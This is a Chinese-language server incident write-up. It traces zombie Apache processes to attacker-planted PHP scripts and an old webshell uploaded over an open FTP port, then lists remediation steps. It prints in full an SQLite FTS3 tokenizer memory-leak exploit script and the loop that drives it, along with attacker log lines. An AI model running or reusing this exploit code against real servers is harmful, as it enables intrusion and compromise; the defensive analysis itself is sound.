服务器报警有二十多个僵尸进程
1.当时是想可能是服务器经常有人传文件时间久了容易产生僵尸进程，于是上去就结束了这些僵尸进程，发现马上又起来了多个僵尸进程，往复几次后发现这些进程根本就杀不死
而批量杀死所有僵尸进程可使用如下命令：
ps -A -o stat,ppid,pid,cmd | grep -e '^[Zz]' | awk '{print $2}' | xargs kill -9
ps -ef|more 看到大量如下进程
[down:/usr/local]# ps -ef|grep httpd
apache 29720 8320 0 18:13 ? 00:00:00 /usr/local/httpd-2.2.26/bin/httpd -k start apache 29859 8320 0 18:13 ? 00:00:00 [httpd] <defunct> apache 29860 8320 0 18:13 ? 00:00:00 [httpd] <defunct> apache 29861 8320 0 18:13 ? 00:00:00 [httpd] <defunct> apache 29862 8320 0 18:13 ? 00:00:00 [httpd] <defunct> apache 29863 8320 0 18:13 ? 00:00:00 [httpd] <defunct> apache 29864 8320 0 18:13 ? 00:00:00 [httpd] <defunct> apache 29865 8320 0 18:13 ? 00:00:00 [httpd] <defunct> apache 29866 8320 0 18:13 ? 00:00:00 [httpd] <defunct> [down:/usr/local/worksh]# ps -ef|grep rotate root 37889 8320 0 19:22 ? 00:00:00 /usr/local/apache2/bin/rotatelogs -l /data/www/logs/apache_log/access/access.log.%Y-%m-%d 86400 root 37890 8320 0 19:22 ? 00:00:00 /usr/local/apache2/bin/rotatelogs -l /data/www/logs/apache_log/access/md5.chinasoft.cn_access.log.%Y-%m-%d 86400 root 37891 8320 0 19:22 ? 00:00:00 /usr/local/apache2/bin/rotatelogs -l /data/www/logs/apache_log/access/rsyncbetweenservers.chinasoft.com_access.log.%Y-%m-%d 86400 root 37892 8320 0 19:22 ? 00:00:00 /usr/local/apache2/bin/rotatelogs -l /data/www/logs/apache_log/access/downpool.chinasoft.cc_access.log.%Y-%m-%d 86400 root 37893 8320 0 19:22 ? 00:00:00 /usr/local/apache2/bin/rotatelogs -l /data/www/logs/apache_log/access/down.chinasoft.tw_access.log.%Y-%m-%d 86400 ...
# 看了下apache的错误日志
大量的rotatelogs进程是apache产生的，httpd进程就是僵尸状态
在网上找了资料，说是有可能内存泄露，需要清理一下缓存，清理后问题依旧，且服务器内存充足，排除这个问题，那就应该是php程序引发的了
[down:/usr/local]# tail -f /data/www/logs/apache_log/error/error.log.2021-01-28 [Thu Jan 28 18:14:16 2021] [notice] child pid 31134 exit signal Segmentation fault (11) [Thu Jan 28 18:14:16 2021] [notice] child pid 31135 exit signal Segmentation fault (11) [Thu Jan 28 18:14:16 2021] [notice] child pid 31136 exit signal Segmentation fault (11) [Thu Jan 28 18:14:16 2021] [notice] child pid 31137 exit signal Segmentation fault (11) [Thu Jan 28 18:14:16 2021] [notice] child pid 31138 exit signal Segmentation fault (11) [Thu Jan 28 18:14:16 2021] [notice] child pid 31139 exit signal Segmentation fault (11)
2.看了一下nginx访问量比较大站点的日志，发现有类似如下访问，看日志就发现有异常
manx.php
46.18.204.142 - - [28/Jan/2021:16:56:09 -0800] - - "GET /intel/manx.php?f=139937140379009&t=139937140383808 HTTP/1.1" 200 0 "-" "python-requests/2.23.0" 8.776 46.18.204.142 - - [28/Jan/2021:16:56:19 -0800] - - "GET /intel/manx.php?f=139937140374209&t=139937140379008 HTTP/1.1" 200 0 "-" "python-requests/2.23.0" 9.693 46.18.204.142 - - [28/Jan/2021:16:56:28 -0800] - - "GET /intel/manx.php?f=139937140369409&t=139937140374208 HTTP/1.1" 200 0 "-" "python-requests/2.23.0" 8.766 46.18.204.142 - - [28/Jan/2021:16:56:38 -0800] - - "GET /intel/manx.php?f=139937140364609&t=139937140369408 HTTP/1.1" 200 0 "-" "python-requests/2.23.0" 8.755 46.18.204.142 - - [28/Jan/2021:16:56:48 -0800] - - "GET /intel/manx.php?f=139937140359809&t=139937140364608 HTTP/1.1" 200 0 "-" "python-requests/2.23.0" 9.696 46.18.204.142 - - [28/Jan/2021:16:56:57 -0800] - - "GET /intel/manx.php?f=139937140355009&t=139937140359808 HTTP/1.1" 200 0 "-" "python-requests/2.23.0" 8.759 46.18.204.142 - - [28/Jan/2021:16:57:07 -0800] - - "GET /intel/manx.php?f=139937140350209&t=139937140355008 HTTP/1.1" 200 0 "-" "python-requests/2.23.0" 9.719 46.18.204.142 - - [28/Jan/2021:16:57:16 -0800] - - "GET /intel/manx.php?f=139937140345409&t=139937140350208 HTTP/1.1" 200 0 "-" "python-requests/2.23.0" 8.775 46.18.204.142 - - [28/Jan/2021:16:57:25 -0800] - - "GET /intel/manx.php?f=139937140340609&t=139937140345408 HTTP/1.1" 200 0 "-" "python-requests/2.23.0" 8.767 46.18.204.142 - - [28/Jan/2021:16:57:35 -0800] - - "GET /intel/manx.php?f=139937140335809&t=139937140340608 HTTP/1.1" 200 0 "-" "python-requests/2.23.0" 9.704 46.18.204.142 - - [28/Jan/2021:16:57:45 -0800] - - "GET /intel/manx.php?f=139937140331009&t=139937140335808 HTTP/1.1" 200 0 "-" "python-requests/2.23.0" 8.758 46.18.204.142 - - [28/Jan/2021:16:57:54 -0800] - - "GET /intel/manx.php?f=139937140326209&t=139937140331008 HTTP/1.1" 200 0 "-" "python-requests/2.23.0" 8.773
inter.php的日志
127.0.0.1 - - [28/Jan/2021:16:03:57 -0800] - - "GET /intel/intel.php?s=139937141750048 HTTP/1.1" 502 647 "-" "-" 0.002 127.0.0.1 - - [28/Jan/2021:16:03:57 -0800] - - "GET /intel/intel.php?s=139937141750064 HTTP/1.1" 502 647 "-" "-" 0.003 127.0.0.1 - - [28/Jan/2021:16:03:57 -0800] - - "GET /intel/intel.php?s=139937141750080 HTTP/1.1" 502 647 "-" "-" 0.004 127.0.0.1 - - [28/Jan/2021:16:03:57 -0800] - - "GET /intel/intel.php?s=139937141750096 HTTP/1.1" 502 647 "-" "-" 0.002 127.0.0.1 - - [28/Jan/2021:16:03:57 -0800] - - "GET /intel/intel.php?s=139937141750112 HTTP/1.1" 502 647 "-" "-" 0.002 127.0.0.1 - - [28/Jan/2021:16:03:57 -0800] - - "GET /intel/intel.php?s=139937141750128 HTTP/1.1" 502 647 "-" "-" 0.002 127.0.0.1 - - [28/Jan/2021:16:03:57 -0800] - - "GET /intel/intel.php?s=139937141750144 HTTP/1.1" 502 647 "-" "-" 0.004 127.0.0.1 - - [28/Jan/2021:16:03:57 -0800] - - "GET /intel/intel.php?s=139937141750160 HTTP/1.1" 502 647 "-" "-" 0.002 127.0.0.1 - - [28/Jan/2021:16:03:57 -0800] - - "GET /intel/intel.php?s=139937141750176 HTTP/1.1" 502 647 "-" "-" 0.003 127.0.0.1 - - [28/Jan/2021:16:03:57 -0800] - - "GET /intel/intel.php?s=139937141750192 HTTP/1.1" 502 647 "-" "-" 0.003 127.0.0.1 - - [28/Jan/2021:16:03:57 -0800] - - "GET /intel/intel.php?s=139937141750208 HTTP/1.1" 502 647 "-" "-" 0.002
在服务器上找到如下代码，虽然看不懂，但是大概能猜出来，内存泄露和这些程序有关，直接删掉，僵尸进程就不会继续产生了，问题得到控制
manx.php
<?php $start = $_GET["f"]; $end = $_GET["t"]; for($i=$start;$i<=$end;$i++){ if($i%16==0){ $ch = curl_init('http://127.0.0.1/intel/intel.php?s='.$i); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Host: down.chinasoft.com')); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_exec($ch); } } ?>
inter.php
<?php $db = new SQLite3(':memory:'); $offset1 = -0x5810; $offset2 = -0x16b0; function flip($val) { $len = strlen($val); $result = ''; for ($i = $len; $i > 2; $i-=2) { $result .= substr($val, $i - 2, 2); } $result .= substr($val, 0, $i); $result .= str_repeat('0', 16 - $len); return $result; } $simpleCreate = intval($_GET["s"]); $sC = flip(sprintf('%016X', $simpleCreate)); $sExtra = "A07D480000000000709F5F0000000000B07D480000000000D03F4C0000000000"; $h = fopen("all.txt","a"); fwrite($h, $simpleCreate.PHP_EOL); fclose($h); $query = "INSERT INTO vt VALUES (x'"."4142434444434241"."0000000000000000".$sC.$sExtra."');"; $a1 = $db->querySingle("CREATE VIRTUAL TABLE vt USING FTS3(content TEXT);"); $a2 = $db->querySingle($query); $a3 = $db->querySingle("SELECT hex(vt) FROM vt WHERE content MATCH (x'4142434444434241');"); $leak = intval(flip($a3), 16); $fake_token1 = dechex($leak + $offset1 + 8); $fake_token2 = dechex($leak + $offset2 + 8); $query = "SELECT hex(fts3_tokenizer('simple'));"; $real_token = flip($db->querySingle($query)); $query = "SELECT hex(fts3_tokenizer('simple', x'" . flip(sprintf('%016X', $leak + $offset1 + 8)) . "'));"; $new_token = flip($db->querySingle($query), true); $query = "CREATE VIRTUAL TABLE vt2 USING fts3;"; $rc = $db->querySingle($query); $h = fopen("valid.txt","a"); fwrite($h, $simpleCreate.PHP_EOL); fclose($h); ?>
3.这些程序是怎么来的? 直觉告诉我服务器被黑了
因为是下载服务器，php这种可以执行程序的文件很少，找了一下所有的php文件，发现 filmp.php 这个文件名有点问题，访问了一下这个文件，一看就知道是后门，且加密了，看了下文件的时间发现是 2008年12月左右上传的，说明这个后门存在了十多年
[/www]# find /www -type f -name "*.php" /www/down.chinasoft.kr/httpdocs/down_new.php /www/down.chinasoft.co.jp/httpdocs/down_new.php /www/down.nl.chinasoft.com/httpdocs/down_new.php /www/down.chinasoft.com/httpdocs/affiliates/presentation-pro/filmp.php /www/down.chinasoft.com/httpdocs/down.php /www/down.chinasoft.com/httpdocs/down_new.php /www/down.chinasoft.com/httpdocs/temp/upgrade.inc.php /www/down.chinasoft.com/httpdocs/drfonefull/daemon/CheckDaemonVersionName.php
过滤了一下这个文件的日志，发现有访问记录
5.61.38.182 - - [28/Jan/2021:16:01:48 -0800] - - "POST /affiliates/presentation-pro/filmp.php HTTP/1.1" 200 0 "http://down.chinasoft.com/affiliates/presentation-pro/filmp.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0" 0.604 5.61.38.182 - - [28/Jan/2021:16:02:32 -0800] - - "POST /affiliates/presentation-pro/filmp.php HTTP/1.1" 200 0 "http://down.chinasoft.com/affiliates/presentation-pro/filmp.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0" 0.597 5.61.38.182 - - [28/Jan/2021:16:03:59 -0800] - - "POST /affiliates/presentation-pro/filmp.php HTTP/1.1" 200 1254 "http://down.chinasoft.com/affiliates/presentation-pro/filmp.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0" 0.283 5.61.38.182 - - [28/Jan/2021:16:06:54 -0800] - - "POST /affiliates/presentation-pro/filmp.php HTTP/1.1" 200 1 "http://down.chinasoft.com/affiliates/presentation-pro/filmp.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0" 0.026 5.61.38.182 - - [28/Jan/2021:16:06:55 -0800] - - "POST /affiliates/presentation-pro/filmp.php HTTP/1.1" 200 1096 "http://down.chinasoft.com/affiliates/presentation-pro/filmp.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0" 0.019 5.61.38.182 - - [28/Jan/2021:16:07:00 -0800] - - "POST /affiliates/presentation-pro/filmp.php HTTP/1.1" 200 2799 "http://down.chinasoft.com/affiliates/presentation-pro/filmp.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0" 0.024 5.61.38.182 - - [28/Jan/2021:16:10:24 -0800] - - "POST /affiliates/presentation-pro/filmp.php HTTP/1.1" 200 235 "http://down.chinasoft.com/affiliates/presentation-pro/filmp.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0" 0.025 5.61.38.182 - - [28/Jan/2021:16:10:27 -0800] - - "POST /affiliates/presentation-pro/filmp.php HTTP/1.1" 200 0 "http://down.chinasoft.com/affiliates/presentation-pro/filmp.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0" 0.024 5.61.38.182 - - [28/Jan/2021:16:16:10 -0800] - - "POST /affiliates/presentation-pro/filmp.php HTTP/1.1" 200 1099 "http://down.chinasoft.com/affiliates/presentation-pro/filmp.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0" 0.287 5.61.38.182 - - [28/Jan/2021:16:41:45 -0800] - - "POST /affiliates/presentation-pro/filmp.php HTTP/1.1" 200 1100 "http://down.chinasoft.com/affiliates/presentation-pro/filmp.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0" 0.389 5.61.38.182 - - [28/Jan/2021:16:41:49 -0800] - - "POST /affiliates/presentation-pro/filmp.php HTTP/1.1" 200 1103 "http://down.chinasoft.com/affiliates/presentation-pro/filmp.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0" 0.913 5.61.38.182 - - [28/Jan/2021:17:20:47 -0800] - - "POST /affiliates/presentation-pro/filmp.php HTTP/1.1" 200 1103 "http://down.chinasoft.com/affiliates/presentation-pro/filmp.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0" 0.828
看了下ftp的日志发现有记录
[down:/usr/local/proftpd/var]# grep -ri "filmp.php" transfer.log |more [20/Jan/2021:18:13:36 +0000] 46.18.204.142 down.chinasoft.com STOR /www/down.chinasoft.com/httpdocs/filmp.php 226 111026 Wed Jan 20 18:13:36 2021 0 46.18.204.142 111026 /www/down.chinasoft.com/httpdocs/filmp.php a _ i r down.chinasoft.com ftp 0 * c
ftp中的ip地址和nginx访问中的ip地址对应上了，攻击导致内存溢出的文件应该是通过ftp上传的
46.18.204.142 - - [28/Jan/2021:16:56:09 -0800] - - "GET /intel/manx.php?f=139937140379009&t=139937140383808 HTTP/1.1" 200 0 "-" "python-requests/2.23.0" 8.776
看了下防火墙的配置，发现ftp端口对外开放了，要么是ftp有漏洞，要么账号密码被人破解了，于是关闭ftp对外的开放
通过访问ip的对比，可以知道导致这次问题的程序主要是通过 ftp 的漏洞进来的，和上传webshell后门的不是同一个，如果不是因为程序异常导致异常报警，可能这个对系统有巨大杀伤力的 webshell 后门短时间内不会被发现，对发生的问题保持一定的敏感度是很有必要的
问题的处理流程
1.通过top iftop netstat
ps -ef|more
查看系统的基本情况
2.根据nginx,apache日志，ftp、业务日志能看出一些基本的问题
3.全面杀毒，扫描webshell等后门程序
4.对不必要的端口进行关闭，并对其他类似服务器进行扫描和关闭